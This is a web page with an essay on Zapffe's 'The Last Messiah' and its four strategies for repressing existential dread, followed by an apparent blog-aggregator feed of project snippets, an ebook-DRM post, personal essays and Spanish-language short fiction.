According to Peter Wessel Zapffe, Woody Allen is only partly right. Distraction is one way to suppress existential suffering, but there are three others: isolation, anchoring and sublimation.

Zapffe lays this out in his remarkable 1933 essay, ‘The Last Messiah’. In starkly poetic terms, he describes the psychological suffering that is unique to humans. This suffering, as he sees it, is the inevitable result of possessing a consciousness that can grasp the meaninglessness of existence and the inevitability of death. In response, individuals and society have built an impressive range of repressional strategies to manage these dangerous feelings. Zapffe describes what he believes are the four core strategies to repress the thoughts that threaten not only happiness, but the willingness to live.

Zapffe’s Four Repressional Strategies


By isolation I here mean a fully arbitrary dismissal from consciousness of all disturbing and destructive thought and feeling….

In everyday interaction, isolation is manifested in a general code of mutual silence… Among adults there are the rules of ‘tact,’ the mechanism being openly displayed when a man who weeps on the street is removed with police assistance.

Isolation is the refusal to give an audience to thoughts that break through the everyday world of routines and responsibility. Isolation simply responds with silence, hoping that the unpleasant truth will be gone as soon as possible.


Anchoring might be characterised as a fixation of points within, or construction of walls around, the liquid fray of consciousness….

Any culture is a great, rounded system of anchorings, built on foundational firmaments, the basic cultural ideas.

Anchoring is the reliance on unquestionable beliefs and traditions to shield oneself from thoughts that would call life into question. If isolation is the refusal to acknowledge a troubling thought, anchoring is the belief that the thought can be rendered harmless by the protection offered by invincible and eternal truths: God, Nation, and so on. If one of these anchorings fails, it must be quickly replaced by another to prevent a crisis from appearing, whether in an individual or in a society.


A very popular mode of protection is distraction. One limits attention to the critical bounds by constantly enthralling it with impressions….

The tactic is often fully conscious. Despair may dwell right underneath and break through in gushes, in a sudden sobbing. When all distractive options are expended, spleen sets in, ranging from mild indifference to fatal depression.

Distraction is perhaps the most common repression strategy, as it can take a nearly endless variety of forms. Disturbing thoughts are kept at bay by leaving no room for them to enter consciousness.


The fourth remedy against panic, sublimation, is a matter of transformation rather than repression. Through stylistic or artistic gifts can the very pain of living at times be converted into valuable experiences. Positive impulses engage the evil and put it to their own ends, fastening onto its pictorial, dramatic, heroic, lyric or even comic aspects.

If distraction is the most common repression strategy, then sublimation is the rarest. The raw materials of unhappy consciousness are used to build something that transcends this suffering. As Zapffe points out, in order for this strategy to be deployed the initial feeling must in some sense be ‘betrayed’ in order to look at it with detachment. This perspective renders the feeling benign enough to confront and transform into something else.

Non-repressional strategies

The most controversial part of Zapffe’s essay is the recommendation he offers at its conclusion: humankind should cease reproducing and peacefully eliminate itself. In his view, this is the only solution to suffering that must inevitably plague a species equipped with a form of consciousness that goes beyond the requirements of mere survival. He saw consciousness as a tragedy with no possible redemption.

However, Zapffe describes sublimation as ‘transformation rather than repression’, unlike the strategies of isolation, anchoring and distraction. Sublimation means confronting troubling thoughts in order to make use of them for creative purposes. The transformation of suffering through creative means is one aspect of a larger non-repressional perspective: self-transcendence. I want to highlight it (along with a second, humorous nihilism) as non-repressional strategies that can confront the worst parts of human existence without leading to the conclusion that human existence is a mistake that should be erased.


Self-transcendence (sometimes called just transcendence, or in my styling, (self) transcendence) is a perspective that urges us to look beyond the particular accidents of the time and place we are born into. Through self-transcendence we can see ourselves as inextricably enmeshed in a reality larger than the solitary self. This connection can be made manifest in a number of ways: through the universal language of art, through dedicating oneself to the pursuit of deep knowledge, through offering care and love to others, through recognizing a connection to non-human beings and nature, and through losing oneself in ego-less wonder.

Abraham Maslow spent a good deal of time writing about transcendence towards the end of his life. In contradiction to the hierarchy of needs he made famous, Maslow came to believe that self-transcendence, rather than self-actualization, represented the highest peak of human achievement.

The peak experience of transcendence does not rely on repressing the dark aspects of life. Maslow wrote that transcenders ‘can be more ecstatic, more rapturous’ than self-actualizers, ‘yet maybe more prone to a kind of cosmic-sadness over the stupidity of people, their self-defeat, their blindness, their cruelty to each other, their shortsightedness.’ Rather than turning away from the dark corners of human nature and the suffering of inner experience, transcenders resist despair, seeing beauty and meaning in the finite life given to humans. By seeing a connection between our lives and the totality of all that exists, meaning is created that can’t be erased by the changing moods of inner experience. As Alan Watts wrote, ‘We do not “come into” this world; we come out of it, as leaves from a tree.’

Humorous nihilism

So we should make light of all things and endure them with tolerance: it is more civilized to make fun of life than to bewail it.

Seneca, ‘On Tranquility of Mind’

Laughing at the absurdities of life has a long tradition. The philosopher John Marmysz coined the term ‘humorous nihilism’ to describe a perspective that confronts the hard truths of existence and responds with laughter rather than tears.

Humorous nihilism shares with self-transcendence a refusal to look away from unpleasant realities. A laughing nihilist doesn't use protective beliefs to fend them off or drown them in an endless stream of sights and sounds. Instead, the darkest thoughts are used as material for humor.

If the human condition is viewed as a joke – something ludicrous, and necessarily marred by imperfection – then it makes sense to stop trying to treat it like a puzzle with some sort of clever solution. Perhaps it would instead be more appropriate simply to linger in the presence of that incongruous gap between the way the world actually is and the way we wish it to be, staring into the abyss with fearless amusement. In so doing, nihilists might extract pleasure from a situation that would otherwise only bring frustration and pain.

Final thoughts

What makes Zapffe’s essay brilliant is his diagnosis of the human condition and the strategies individuals and societies use to fend off the troubling feelings that lay within. However, sharing his belief that human consciousness is a heavy burden does not automatically lead to sharing his belief that life must be doomed by it. The transformation of suffering and the meaning this struggle can bring are timeless themes from across human cultures, and they point toward a life philosophy that can withstand even the worst psychological suffering.

Szymon Kaliski

Laboratory Residency — building creative coding tools


I was quite tired after last year, where I worked on monthly projects and pushed hard to publish something every month.

Szymon Kaliski

hiccup-sdf — tools for modeling with signed distance functions


hiccup-sdf is set of open source tools made for creating, displaying and exporting 3d models made with SDFs.

Szymon Kaliski

HHTWM — hackable macOS tiling window manager


I’ve built my own window manager for macOS that gives me layout-based automatic tiling.

ellugar Logs

My new shower head [en]


my new shower head

Today is the day of the my new shower head. I don't know what to do. Maybe it's time to try new things, using the shampoo at the beginning for example. I have showered with enough people now to know that is not normal to use shampoo at the end of the shower. I understand why you should put it first, it makes all the sense in the world, but that's not how I got taught.

When you do something since you are a kid, you don't question it, specially not this. I'm in my shower, this is how I shower, who is going to challenge that? I kind of want to stay that way, I like to think it's a nice quirk.

I have been in the shower for at least 5 minutes now, head resting on the wall, water pouring on my back. This feels so good. I needed this, I needed a new shower. I kind of miss the old one though. It was all sad, looking down, unable to keep its head up, thin streams of water coming out and the small holes getting blocked all the time. It made me feel better about myself, hey, at least I'm better than that old shower head.

When the shower clogged, I would punch it, punch it right in middle, then I would find small salt rocks hiding in my body, like a shitty present as an apology. I felt good for being able to find them, being angry with something.

I'm not a violent person, the only thing I have punched is my old shower head. I wish I was one of those people who think violence can solve anything, just punch it right in the middle and would get it fixes. Of course my shower broke, and now I'm with this new one, it has been 10 minutes and I haven't moved, it hasn't clogged.

Put that shampoo bottle down you dummy, you already used it remember, right at the beginning of all this, you already did it right. I feel bad, why? Is it because I used the shampoo first, do I miss my old shower that bad? It was old, it was bad, but maybe I deserved it. I don't feel like I deserve this new shower head, with its system to unclog itself. I can't punch it, why would I? It works perfectly.

Szymon Kaliski

Sketchbook — a place for your sketches


sketchbook-cli is a tool for organising, editing and displaying code-based sketches in real-time.

xvw's blog

Marques-pages internes d'articles


Amélioration de l'expérience utilisateur du blog

Chad Mazzola

What happened to ebook innovation?


When Steve Jobs and Apple came out against DRM on music files in 2007, it permanently changed how digital music was sold. To this day, Apple, Amazon and a host of other services continue to sell DRM-free music, even with the push to streaming services.

The situation with ebooks is much different: DRM is the standard. When you buy an ebook from Apple, Amazon or any number of smaller sellers, that book is locked into the service you bought it from with limited rights for what you can do with it. I don’t want to be too dramatic, but I view this as a massive tragedy for humanity. (I’ll assume readers are familiar with the arguments against DRM. If not, the Jobs letter linked above is a good place to start.)

In practice, the situation with books is even worse than it was with music. As Jobs’ letter points out, consumers could always buy the CD and rip DRM-free mp3s. So there was always an easy way to have digital music without DRM. With books, there is no simple way to create digital copies of the books you already own.

The result is that the possible advantages of ebooks are nowhere near fully realized. Neither iBooks nor Kindle are good pieces of software and there is little incentive for Apple or Amazon to innovate. Right now I don’t even have the ability to search across all my ebooks at once. As Patrick Collison said on twitter, “Getting books onto the screen was a good first step.”

I want beautifully typeset ebooks that I can read on any device, with a vibrant ecosystem of third-party software to help me annotate, cross-reference and synthesize everything I read. The alternative ebook readers I’ve found (that can view non-DRM files) are not good at all. Which makes sense, given the smaller size of the DRM-free ebook market.

Well, let me clarify: the legal market for DRM-free ebooks is small; the black market is massive. There are websites offering several million DRM-free ebooks for open download and other sites offering tools to remove encryption from Kindle books. So once again, DRM ensures that the people who actually paid for the ebook have fewer rights than the people who downloaded a free copy from a Russian server.

As I understand it, the push for DRM primarily comes from publishers. Until they have a reason to change, it’s up to authors, readers, students, and librarians to press this issue. I don’t see Jeff Bezos or Tim Cook publishing a “Thoughts on Books” letter any time soon.

In the meantime, there are some bright spots. Standard Ebooks is working to make definitive ebook editions of public domain books. They’ve also created a set of software tools to help with the ebook creation process.

xvw's blog

Un article sur les monades en 2018


Parce que c'est toujours cool d'être mainstream

Gokberk Yaltirakli

Mastodon Bot in Common Lisp


If you post a programming article to Hacker News, Reddit or Lobsters; you will notice that soon after it gets to the front page, it gets posted to Twitter automatically.

Szymon Kaliski

Editable — interactive notebooks from the comfort of your code editor


editable-cli is a command line tool piggybacking on observable internals which provides file-based interactive notebooks.

xvw's blog

Konbini, Tac au tac et Manben


L'article présente quelques émissions que je trouve cool !

Gokberk Yaltirakli

Fetching ActivityPub Feeds


Mastodon is a federated social network that uses the ActivityPub protocol to connect separate communities into one large network. Both Mastodon and the ActivityPub protocol are increasing in usage every day. Compared to formats like RSS, which are pull-based, ActivityPub is push-based. This means rather than your followers downloading your feed regularly to check if you have shared anything, you send each follower (or each server as an optimization) the content you shared.

serocell - media feed

absorbing J


serocell - media feed

sleeparchive mix


Szymon Kaliski

JSConf EU 2018 — generative artwork


flow/control collaborated with talented Matt DesLauriers to create generative intro artwork for JSConf EU 2018 opening.

Szymon Kaliski

HOT Visualize Change — tool for generating animations from map changes


flow/control collaborated with Humanitarian OpenStreetMap to design and build an online tool for generating animations of changes made to OpenStreetMaps map layers.

serocell - media feed

The Vile Arts Radio Hour 2018-04-02


serocell - media feed



serocell - media feed



serocell - media feed



serocell - media feed



serocell - media feed



serocell - media feed



serocell - media feed



serocell - media feed



serocell - media feed



serocell - media feed

how many


serocell - media feed



Szymon Kaliski

CRLN — gpgpu curl noise experiment


CRLN is an experiment in bending curl noise on the GPU (desktop Chrome only).

Szymon Kaliski

MNTN — procedural mountain generator


MNTN is a small experiment in creating procedural mountains.

ellugar Logs

Los hombres duros no bailan [en]


That’s what my father used to say, it never came across as something he said to make anyone else feel bad, it was just a defense mechanism when he was at weddings, as an easy way out.

I was walking to the beach with Henry, five minutes away from my aunt’s house. There is nothing between the house and the beach other than a skinny cow and a big house called “Villa Polinesia”. My aunt has the theory that they shoot a reality porn show in that house, “one of those where they eliminate someone every week” she said. I can't confirm this, but the house was full of tall, fit and beautiful people who look like porn stars.

We had the beach to ourselves, it was completely empty; we took our shirts off and started walking to the sea — I like how the waves here are not to small but not too big to be scared, I told Henry. We can get deep into the sea, and we will be able to stand.

After half an hour of swimming, two big waves took us by surprise, Henry got swiped out of his feet and ended up in the shore, I tried to go through the waves and ended up in a place where I couldn't stand anymore and the current kept dragging me. I tried to swim in all the ways I got trained as a kid: backwards, butterfly, I tried it all and I just didn't get any closer. Henry saw me from the shore, confused, and didn't know what to do; when he realized I wasn't able to get back, he ran for help.

He got to the closest place: the porn house. He interrupted the recording and asked for help; meanwhile I was trying to keep calm and swim to the shore. I started swimming backwards, so I wouldn't get desperate when I saw that the shore wasn't getting any closer. I heard voices and tried to stand, I could feel the sand below my feet and a sudden feel of relief. A tall blond ripped man grabbed me and helped me walk to the shore, where my legs collapsed and I ended up laying in the beach while people started gathering around me and asking if I was okay. My legs kept trembling and all I could think of is: “tough men don't dance”.


Geek Spinner Build


My nephews are fascinated with fidgit spinners. They each own several and always have one on hand, proudly showing off the various trick

Szymon Kaliski

DIY monome


Building my own monome has been the last of my monthly projects in 2017.

Szymon Kaliski

DIY monome


I’ve built two DIY monome clones as last project of my 2017 one-project-a-month challenge.

Szymon Kaliski

FLSUN i3 3D printer


I’ve been debating getting a 3D printer for quite some time, I thought that I might not use it that much to justify the expense.

Szymon Kaliski

Maria Teresa e Trieste — interactive installation


flow/control has collaborated with Interfase on designing and building a bespoke interactive installation for Maria Teresa e Trieste exhibition at Magazzino delle Idee.

xvw's blog

Voyager dans le temps avec un Zipper


Cet article propose l'utilisation d'un Zipper pour implémenter un historique naviguable


Serial Punch


In my daily work I use a CLI tool called todo.txt coupled with an add-on

Szymon Kaliski

Learning Haskell part 2 — exploring Tidal and Diagrams


Learning Haskell was one of my one-project-a-month projects in 2017.

xvw's blog

Une application web moderne en Elm


Implémentations, pas à pas, d'une application moderne en Elm

xvw's blog

Un cas d'école à l'utilisation des GADTs


Une brève introduction aux types algébriques généralisés avec OCaml

Szymon Kaliski

Learning Haskell


Haskell has been on my to-learn list for a long time, I was interested in a different approach to functional programming than LISP, and was ready to give strong typing a chance.


Panaplex Display Testing


In the Spring of 2017 I attended the Dayton Hamvention. While browsin


Beaker Browser and The DAT Protocol


The Dat Protocol

Szymon Kaliski

DAS-UI — keyboard-driven visual programming language


DAS-UI is an experimental domain-agnostic keyboard-based visual programming language with JavaScript backend.

Szymon Kaliski

Building DAS-UI — keyboard-based visual programming language


DAS-UI is another node-based experiment (after SDF-UI) that I’ve built during my one-project-a-month meta-project in 2017.

Szymon Kaliski

Teaching creative coding in Taipei


I spent July 2017 teaching three weeks of different creative technology workshops during summer program at Skyrock Projects in Taipei.

Szymon Kaliski

Neutron — self-contained node and npm sketchbook


Neutron is self-contained node and npm application made for quick prototyping and teaching.

Szymon Kaliski

Building Neutron — self-contained node and npm sketchbook


Neutron is a self-contained node and npm application made for quick prototyping and teaching.

ellugar Logs

Second week @ Stugan [es]


Sos Sosowski tenía un mapa sobre la mesa de nuestro comedor. Tratando de hacer sentido entre las instrucciones que nos dieron en la administración y lo que tenía enfrente, me volteó a ver con una sonrisa mientras agarraba su bicicleta de montaña y me gritó mientras se alejaba. - ¡Nos vemos en la recepción!

El sol estaba iluminando todo lo que alcanzaba a ver, una brisa fría corría entre mis dedos, no importa el día o la hora, el verano de Suecia parece vivir en el mismo día eternamente.

Tomamos el camino largo hacia el pequeño pueblo en donde está la tienda más cercana, lleno de subidas pesadas y bajadas peligrosas. Mientras llegábamos, nos encontramos al resto que habían decido ir por el camino corto, regresando ya de la tienda. Compré todas las cosas que inminentemente había olvidado traer de México y un paquete de cartas.

Regresamos a las cabañas justo a tiempo para comer y encontrar nuevas personas en el comedor. Jonatan Crafoord estaba sentado en el centro de la mesa haciendo movimientos rítmicos con sus cubiertos, mientras platicaba con los demás. packNfold

Poco después, Jonatan se ofreció a probar los juegos de los que estuvieran dispuestos a enseñar algo y aproveché la oportunidad para enseñar el pequeño concepto que había logrado desarrollar durante la semana; rápidamente Jonatan entendió el concepto del juego, me dio una muy buena idea, ¿qué tal si al terminar de empacar un tipo específico de ropa, el sonido se quedara en el fondo?, así podrías ir formando una canción con cada una de las cosas que vas guardando.

Logré hacer que el juego funcione a su nivel más básico e intenté poner herramientas que me dejen probarlo y afinarlo rápidamente.


Unos días después llegó Jens Andersson a Stugan, me costó un poco de trabajo no atacarlo con preguntas sobre The Darkness, uno de mis juegos favoritos del Xbox original. Le enseñé mi juego y le expliqué a grandes rasgos lo que quería lograr, es la primera persona que entiende por qué quiero contar una historia a través del juego, no sólo eso, se mostró emocionado por ese elemento extra que no tenía en mente.

A pesar de saber que me encontraría en una cabaña en medio de la nada durante dos meses, cada día hay algo nuevo que hacer en Stugan, ya sea dar un paseo en bicicleta, nadar en la alberca o pasar una hora en el sauna, existe un balance perfecto entre trabajo y otras actividades que hacen que te acostumbres rápidamente al estilo de vida.


Anders Nord es un suizo haciendo un juego de plataforma con elementos 3D The Lost Light of Sisu, tiene un devlog en el que escribe a diario y en el que te puedes dar cuenta de su inmenso progreso. De las cosas que más me sorprendieron, son sus ingeniosas animaciones del personaje principal y su atención al detalle a la hora de diseñar niveles.

The lost light of Sisu

ellugar Logs

First week @ Stugan [es]


Llegue a Estocolmo ,Suecia, el 22 de junio durante la celebración del "Mid Summer", una celebración tan importante como Navidad en mi país, por lo que la ciudad estaba totalmente sola, y los lugares de albóndigas cerrados.

Sin embargo, los hostales estaban llenos de viajeros solos, dispuestos a buscar compañía y compartir sus culturas. En eso consistieron mis primeros 3 días en Suecia antes de llegar a Stugan.



Nos dividieron en cabañas. A los que cuentan con un equipo, los pusieron en una cabaña juntos, y a los demás, parejas aleatorias en una cabaña. Yo tuve la buena suerte de terminar con Sos, un científico loco polaco bastante agradable, con el cual ya tuve mi primera aventura mientras íbamos en bici a buscar un lugar donde pudiéramos cruzar el lago nadando hasta llegar a una isla cercana.


Las cabañas son espectaculares, muchísimo espacio y luz natural entrando por todos lados, una gran regadera y un sauna por cabaña.



Nuestra primera actividad fue prepararnos para una presentación de la prensa local sobre nuestros proyectos. Me ayudo para recuperar el ritmo e idea principal de mi juego y reconocer las caras y proyectos con los que pasaré los próximos dos meses.

Rápidamente me di cuenta de que podré aprender muchísimo de las demás personas que se quedarán aquí.



Empecé haciendo la estructura general del juego, me gusta tener un ciclo completo del juego, que me permita iterar rápidamente en la mecánica principal.

A pesar de que quiero lograr un juego con una mecánica interesante, divertida y bien lograda, hay muchos elementos importantes que planeo tener a su alrededor.



También tuve la oportunidad de jugar Dandara como por 2 horas, un juego con controles súper buenos y un mundo inmersivo e interesante.


Recuerda que siempre puedes suscribirte subscribe al mailing list para recibir actualizaciones en tu correo.

ellugar Logs

First week @ Stugan [en]


I arrived at Stockholm, Sweden, on july 22 during the “Mid Summer” celebration, a celebration as important as Christmas, the city was a ghost town and meatball restaurants were closed.

The hostels were full of alone travelers ready to find lonely travelers ready to share their culture and meet new people. That's a little round up of what I did my first three days on Sweden while I waited for Stugan to begin.



We were arranged on different cabins, teams with two or more people were together and individuals like me on random pairs. I got the good luck to be paired with Sos, a crazy scientist from Poland, a pretty cool dude; we had our first adventure grabbing some bikes and going to a place where we could swim on the lake to the island.


The cabins are impressive, they have a lot of space and natural light everywhere, a big shower and a sauna on each cabin.



Our first task was getting ready for a press conference with local media. It helped me to get on the mindset of my new game and put faces on all of Stugan's 17 projects.

I quickly realized how much I will learn to work side by side with these guys.



I started working on the general structure of my game, I like to have a full cycle, which lets me iterate fast on the main mechanic.

Even though I want to achieve a game with a simple, interesting and fun mechanic, there are a lot of important elements I plan to have, so that everything feels tighter.



I also had the opportunity to play Dandara for like two hours, an awesome game with really tight controls and interesting world, you should check it out.


Remember you can always subscribe to the mailing list.

Szymon Kaliski

Exploring ReasonML


ReasonML is new syntax and toolchain for working with Ocaml, supported by Facebook.

ellugar Logs

Comezón en el destino


  • ¿No tienes a veces la sensación de que alguien te contó el final de tu historia?
  • ¿De qué hablas?
  • Tengo comezón en mi destino, como una pequeña molestia que quisiera rascarme hasta que deje de sentirla.
  • ¡Qué asco!
  • No seas ridícula y ponme atención un rato, alguien me dijo el final y al principio no lo creía posible, pero mientras pasa y pasa el tiempo me acerco más y cada día se ve más posible.
  • ¿Hablas del destino?
  • No, no me estoy explicando.
  • Claramente.
  • Un día estaba sentado en una banca leyendo, se llamaba el diario de un suicida o algo así, lo curioso es que al principio no dejaba de pensar, "que diferente soy a esta persona".
  • Me alegra que digas eso.
  • Entonces la historia estaba contada desde la perspectiva de que estabas leyendo su diario, como si fuera Ana Frank emo, pero en lugar de la segunda guerra mundial, iba a la escuela, en lugar de estar encerrado de un sótano durante meses, iba diario de su casa a la escuela y de regreso.
  • Suena un poco pretencioso.
  • ¿Verdad? pero mientras avanza la historia, descubrí que fue el objetivo todo el tiempo. El titulo te da una premisa, alzas tu guardia y todo el tiempo estás buscando la manera de injustificar el suicidio de este vato.
  • Es como si el escritor hubiera empezado con un hándicap.
  • ¡Exacto! y continué leyendo, cada vez odiando un poco más al escritor y al personaje principal, perdiendo cualquier tipo de empatía que había ganado por el beneficio de la duda. Y en el último capitulo, hay un twist.
  • Humm
  • Y empieza todo a tener un poco de sentido, fue un uppercut directo a mi quijada. ¿Quería que se muriera sabes? todo en el libro logro llevarme a eso, en todo momento hasta antes del último capítulo.
  • Pero ya era demasiado tarde.
  • Entendí por qué quería morirse.
  • Y ahora te quieres matar.
  • No, poco a poco he creado una premisa a mi vida, el título.

ellugar Logs

Bugs and lights


— ¡Oh!, exclamó una mujer mientras Juan Carlos Manzanero entraba bruscamente al baño de la comisaría.

— Quita esa cara confundida, no le queda bien a un hombre grande como tú, Juan Carlos Manzanero nunca ha sido descrito como una persona pequeña o débil.

— ¿Qué hago aquí? muy fácil, el baño de mujeres es un desastre, aunque el baño de hombres también deja mucho que desear, dijo la mujer mientras miraba lentamente a su alrededor.

Juan Carlos Manzanero, intentando recuperarse de la sorpresa empezó a ser consciente de su alrededor, ciertamente no era el mejor baño al que había entrado. El baño se encontraba en el segundo piso, obligándolo a subir un par de escaleras antes de poder abrir la puerta, ya no gozaba de la misma condición física que solía presumir hace unos años, así que cuando abrió la puerta se metió una bocanada de aire que lo dejó aturdido.

Las paredes color verde pistache claramente necesitaban una limpiada y otra mano de pintura, los focos alargados del techo parpadeaban y aparentaban poca vida dentro, el color original de las puertas erá un misterio para el, parecían tener seguros oxidados y manchas viejas que no dejaban clara su procedencia.

— ¿Es una situación curiosa no lo crees?, yo aquí dentro, rompiendo las reglas, aunque si lo piensas un poco, ¿qué representa ese letrero? ¿pantalones contra faldas? yo traigo un pantalón, así que tengo derecho de estar aquí.

Juan Carlos Manzanero no se sentía muy bien, sus manos temblaban y su vista estaba nublada, días calientes como aquel lo aturdían, pero alcanzó a notar la pistola que tenía amarrada la mujer que tenía enfrente, su uniforme azul y desgastado no favorecía su figura, pero ella lo portaba con la comodidad de alguien que se resigno a utilizar algo incómodo por mucho tiempo.

— ¡Escúchame! justificándome como un criminal cualquiera, dijo la mujer mientras se le dibujaba una pequeña sonrisa en la cara.

— Espera un momento, ¿tu eres el padre del chavo de allá dentro? ... ¡Charly! bueno que te puedo decir, todos cometen errores, pero ciertamente tu hijo cometió uno muy grande. Pero no te sientas culpable hombre, los padres no pueden tener culpa de todo, si de varias cosas, pero ciertamente no de todas.

— En fin, mi trabajo aquí ha terminado, dijo con una risilla mientras se terminaba de secarse las manos con el aparato de aire caliente.

— Surte a tu hijo allá fuera, Juan Carlos Manzanero nunca ha sido reconocido por demostrar sus emociones ante la gente, en ese momento, mientras la señora le daba una palmada en el hombro, cualquiera pudo haber notado su enojo y descontento, el intercambio le había hecho olvidar la razón por la que estaba en el baño, aunque en cuanto se cerro la puerta detrás de el, su pesada tos se lo recordó.

Agachado sobre el lavabo empezó a toser violentamente, su garganta estaba seca, abrió la manija y el agua empezó a salir en intervalos irregulares. Intentó calmarse frotándose sus manos mojadas alrededor del cuello y peinando su cabello hacia atrás, el calor era insoportable. Se miro calmadamente en el espejo sucio que deformaba su cara, ¿o esa era su cara? ya no estaba seguro.

Un espasmo sacudió su cuerpo y tosió hacia el espejo, en medio de su cara a la altura de los ojos quedó una mancha de saliva y sangre, acerco su cara para analizar lo que acababa de pasar, y se echó hacia atrás instintivamente, pequeños puntos blancos se movían en el espejo, pequeñas larvas que nadaban las gotas de su sangre. Se frotó los ojos un poco mas fuerte de lo que debería, puntos blancos invadieron su visión.

Abrió la puerta del cubículo detrás de el, dejo caer sus pesados pantalones de mezclilla a sus tobillos y se sentó en la tasa caliente. Sostuvo su cabeza entre sus manos, confundiendo el sudor con el agua que se había puesto hace un momento, se alcanzaba a escuchar el sonido de una mosca volando cerca, aunque no podía identificar bien dónde estaba. Dio un manotazo al papel de baño que estaba a su derecha, corto una tira y se la puso en la cara para limpiarse la nariz, la extendió enfrente para ver sus resultados cuando dos pequeños bichos alados volaron hacia su ojo izquierdo. Agitó la cabeza mientras tiraba la tira de papel y se manoteaba la cabeza desesperadamente.

Empezó a respirar pausadamente, con fuerza, un truco que había aprendido en algún momento de su vida, de esas cosas que has escuchado miles de veces y no les haces caso hasta que lo intentas, te funciona, e intentas convencer a alguien mas de intentarlo. Recordó ese día, mientras salía de excursión con su esposa y su hijo, a una pequeña explanada dónde las familias iban a pasar tiempo de calidad.

Una pequeña niña, aproximadamente de la misma edad de su hijo corría por todos lados intentando recolectar la mayor cantidad de ramitas para su castillo, mientras todos a su alrededor la veían con una sonrisa en su cara. Noto como su hijo inmediatamente dejó de poner atención a todo lo demás, su madre perdió cualquier esperanza de que la ayudara a poner la manta en el suelo donde planeaban sentarse, y con dulzura le preguntó, — ¿Por qué no la ayudas? — Su hijo salió corriendo a presentarse con ella.

— Hola! mi nombre es Carlos, mis papas me dicen Charly de cariño, encontré esta rama por allá, ¿te gustá?.

Juan Carlos Manzanero nunca fue conocido por ser un ser sociable, sin embargo a su hijo se le daba fácilmente, característica que probablemente había sacado de su madre. Recordaba el mismo zumbido que escuchaba en este momento, un zumbido que sonaba a violencia, como el día que atrapó un avispón dentro de un frasco de vidrio, lo agito, notaba el enojo del avispón, y guiado por el miedo siguió agitando, agitando el frasco mientras el zumbido se volvía más fuerte, zumbaba y zumbaba, haciendo vibrar el frasco. Por un momento Juan Carlos Manzanero pensó que el frasco se rompería, que el avispón saldría y lo picaría en los ojos, en la boca, gritando de miedo, gritando por el dolor que imaginaba Juan Carlos Manzanero seguía agitando el frasco, hasta que el frasco dejo de zumbar, lentamente levantó el frasco a la altura de sus ojos y se dio cuenta, el avispón yacía muerto en el fondo del frasco.

El grito de su hijo en medio de la explanada interrumpió sus recuerdos, corrió junto con los padres de la niña hacia donde venían los gritos, la sombra del un enorme árbol cubría a los pequeños, mientras su hijo gritaba.

— !Déjenla, déjenla!, mientras dejaba caer con fuerza un palo hacia el estomago de la niña. La madre de la niña grito de terror, su hija estaba bajo una nube de avispones, picándola a ella y a su hijo sin ningún tipo de piedad. Zumbando con fuerza, con libertad, picaban y volaban, escapando de los miedosos abanicos de su hijo. Cuando los alcanzaron ya era demasiado tarde, la niña tenia la cara cubierta de piquetes, y parecía no respirar.

Cinco días después Juan Carlos Manzanero acompañado por su hijo y su esposa fue a testificar, la niña había muerto casi inmediatamente, con el tiempo necesario para dibujar una mirada de terror en su cara. En ese momento, sentado en en un pequeño cubículo, en el baño más sucio que había visitado, Juan Carlos Manzanero empezó a llorar, jaló su pelo hacia atrás, con un intenso zumbido en la cabeza, puso lentamente sus palmas de las manos al frente, notando que sin querer, había desprendido varias cerdas de su cabello.

Sus manos empezaron a vibrar, y con horror se dio cuenta que tenia un enjambre de pequeños bichos enojados en las manos, zumbando furiosamente.

ellugar Logs

I have a plan


El domingo en la tarde, justo después de la hora del brunch, entramos a un café

— Te vas a ir.

— Me voy a ir, le respondí empujando la puerta y dejándola pasar por debajo de mi brazo en un movimiento incómodo.

— ¿Y cuál es el plan?, ese día llevaba un vestido arriba de las rodillas.

— No tengo plan, dije, mientras escondía una sonrisa.

— Siempre tienes un plan.

— Tienes razón, tengo un plan, pero no te va a gustar.

— ¿Cuándo me han gustado tus planes?

— Recuerdo uno.

— No me gustan tus planes porque todos llevan a arruinar el plan que me gusta.

El barista se nos quedó viendo, no me quedaba claro si quería escuchar mi plan o solo quería escuchar mi pedido. El sol entraba por las enormes ventanas de la cafetería "Dosis", alumbrando a los solitarios que buscaban un lugar donde poder trabajar, o a las reuniones incómodas de negocios nuevos.

Se extendían tres mesas alargadas al fondo, tal vez en alguna época el concepto de mesa comunal forzaba relaciones entre desconocidos, pero ese día solo existían a través de una pantalla, audífonos o una libreta.

Ya está listo su cold brew, nos dijo el barista, sin ningún tipo de emoción en su voz.

— Mira, ya tengo mi boleto, le expliqué mientras nos sentábamos en una de las pequeñas mesas afuera. Volaré primero a Cancún, haré escala en Manchester y terminaré en Estocolmo, de ahí son 3 horas en carretera para llegar a la cabaña, los primeros días tendré solo un amigo, probablemente el tipo con el que me senté en la primera comida. Al segundo día comí con otro grupo, y él empezó a guardar su rencor, durante el resto de mi estancia conversamos poco y noté siempre su disgusto.

En el nuevo grupo estaba ella, al principio ninguno puso mucha atención al otro, fue hasta la tercera semana que ya todos eramos muy unidos. Un día nos dejaron solos en la sala y nos sentimos lo suficientemente cómodos para empezar a platicar. Me contó de su familia, su madre fría y su padre amable, comparando nuestras culturas, concluimos que el clima afectó a las personas a nuestro alrededor y cómo compartíamos el sentimiento de no pertenecer ni a su mundo frío, ni al mío caliente.

Esa noche fue la primera vez que olvidé por qué estaba ahí, dejé de pensar en el trabajo y me puse a pensar en ella. Al día siguiente me levanté temprano para poder sentarme junto a ella en el desayuno, ella se dio cuenta y con una sonrisa se sentó a mi lado.

Nos ofrecieron trabajos diferentes, pero lo suficientemente cercanos para empezar a buscar un departamento juntos, justificándonos con gastos y los altos precios de los Países Bajos. Años después juzgué mi juventud y estupidez de no apreciar y aceptar lo que teníamos desde un principio. Rentamos un pequeño departamento justo en medio del trayecto al trabajo de cada uno, teníamos un café enfrente al que íbamos casi diario, ella siempre pidiendo una bebida diferente y yo bailando entre la decisión de un café o té negro.

Un domingo mientras descansábamos en el departamento, yo todavía en pijamas y sin bañarme, salió del baño con una cara confundida sosteniendo una prueba de embarazo, y no es hasta que me la puso enfrente de la cara que entendí lo que estaba pasando. Ganábamos los dos más dinero del que necesitábamos, así que tomamos con tranquilidad la noticia. Platicamos con optimismo los buenos padres que seríamos y sobre cómo le inculcaríamos cultura, deporte y ciencia a nuestra primera criatura. Todo empezó a decaer en cuanto nos enteramos que tendríamos gemelos.

Fueron los meses más difíciles de nuestra vida hasta ese momento, empecé a extrañar mi país, empecé a extrañarte a ti. Nos peleábamos diario en la casa, yo tenía la esperanza de que el culpable fuera el embarazo, que en cuanto diera a luz, todo volvería a la normalidad; regresaríamos a ser la pareja joven en nuestro pequeño departamento, frente a la cafetería, platicando sobre el último libro que estábamos leyendo.

